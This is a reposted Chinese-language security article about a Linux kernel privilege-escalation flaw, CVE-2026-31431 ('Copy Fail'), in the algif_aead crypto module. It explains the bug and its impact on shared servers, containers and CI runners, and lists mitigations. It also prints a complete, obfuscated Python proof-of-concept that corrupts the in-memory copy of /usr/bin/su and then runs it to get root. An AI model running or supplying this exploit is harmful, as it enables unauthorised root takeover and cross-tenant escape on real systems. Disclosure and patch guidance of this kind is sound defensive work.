2017年至今的提权漏洞,Linuxroot管理员权限CVE-2026-31431

admin 2026-05-02 06:02:38 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: Khan安全团队发现了Linux内核的一个严重提权漏洞CVE-2026-31431,该漏洞自2017年以来存在于所有发行版中。漏洞利用仅需732字节的Python代码,且可在不触及磁盘文件的情况下实现权限提升。攻击者只需在系统上拥有普通用户账户即可利用此漏洞成为root用户。 综合评分: 85 文章分类: 漏洞分析,安全意识


cover_image

2017年至今的提权漏洞,Linux root 管理员权限 CVE-2026-31431

Khan安全团队

2026年5月1日 10:40 广东

在小说阅读器读本章

去阅读

AI 发现了一个 Linux 内核零日漏洞,可 root 2017 年以来的所有发行版。该漏洞仅需 732 字节的 Python 代码即可利用。请立即修补您的内核。

该漏洞为 CVE-2026-31431,绰号“Copy Fail”,今日由 Theori 披露。它已在 Linux 内核中悄无声息地潜伏了九年。

大多数 Linux 权限提升漏洞都很挑剔。它们需要精确的时机窗口(一种“竞争”条件),或从某处泄露的特定内核地址,或针对每个发行版的仔细调整。Copy Fail 则无需这些。它是一个直线逻辑错误,一次尝试就成功,每次在每个主流 Linux 机器上都有效。

攻击者只需在机器上拥有一个普通用户账户。从那里开始,该脚本要求内核执行一些加密工作,利用该工作的布线方式进行滥用,最终在名为“页面缓存”(Linux 在 RAM 中对文件的快速副本)的内存区域写入 4 个字节。这些 4 个字节可以瞄准系统信任的任何程序,比如 /usr/bin/su,这是成为 root 的捷径。

结果:下次任何人运行该程序时,它会让攻击者以 root 身份进入。

这种破坏从未触及磁盘上的文件。它仅存在于 Linux 对该文件的内存副本中。如果你在事后对硬盘进行镜像,磁盘上的文件将与官方软件包哈希完全匹配。重启机器,或仅施加内存压力(任何需要 RAM 的正常系统负载),缓存副本将从磁盘重新加载新鲜版本。

容器也无济于事。页面缓存在整个主机上共享,因此容器内的进程可以使用此漏洞危害底层服务器,并入侵其他租户。

原罪源于 2017 年内核加密模块 algif_aead 中的一项“原地优化”。它旨在让加密稍快一些。这一更改破坏了一个关键的安全假设,而无人注意了九年。该漏洞随后搭乘从 2017 年至今的每一次内核更新传播。

此漏洞影响以下内容:

  1. 共享服务器(开发机、跳板主机、构建服务器):任何用户均可成为 root
  2. Kubernetes 和容器集群:一个受损 Pod 逃逸至主机
  3. CI 运行器(GitHub Actions、GitLab、Jenkins):恶意拉取请求在运行器上成为 root
  4. 运行用户代码的云平台(笔记本、代理沙箱、无服务器函数):租户成为主机 root

POC

#!/usr/bin/env python3import&nbsp;os as g,zlib,socket as sdef&nbsp;d(x):return bytes.fromhex(x)def&nbsp;c(f,t,c):&nbsp;a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)&nbsp;try:u.recv(8+t)&nbsp;except:0f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))while&nbsp;i<len(e):c(f,i,e[i:i+4]);i+=4g.system("su")

缓解措施

将您的内核更新至包含主线提交 a664bf3d603d 的构建版本。如果无法立即修补,请禁用易受攻击的模块:

echo&nbsp;"install algif_aead /bin/false"&nbsp;>&nbsp;/etc/modprobe.d/disable-algif.confrmmod algif_aead&nbsp;2>/dev/null&nbsp;||&nbsp;true

对于运行不受信任代码的环境(容器、沙箱、CI 运行器),即使修补后,也应完全阻止访问内核的 AF_ALG 加密接口。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:Khan安全团队 《2017年至今的提权漏洞,Linux root 管理员权限 CVE-2026-31431》

评论:0   参与:  0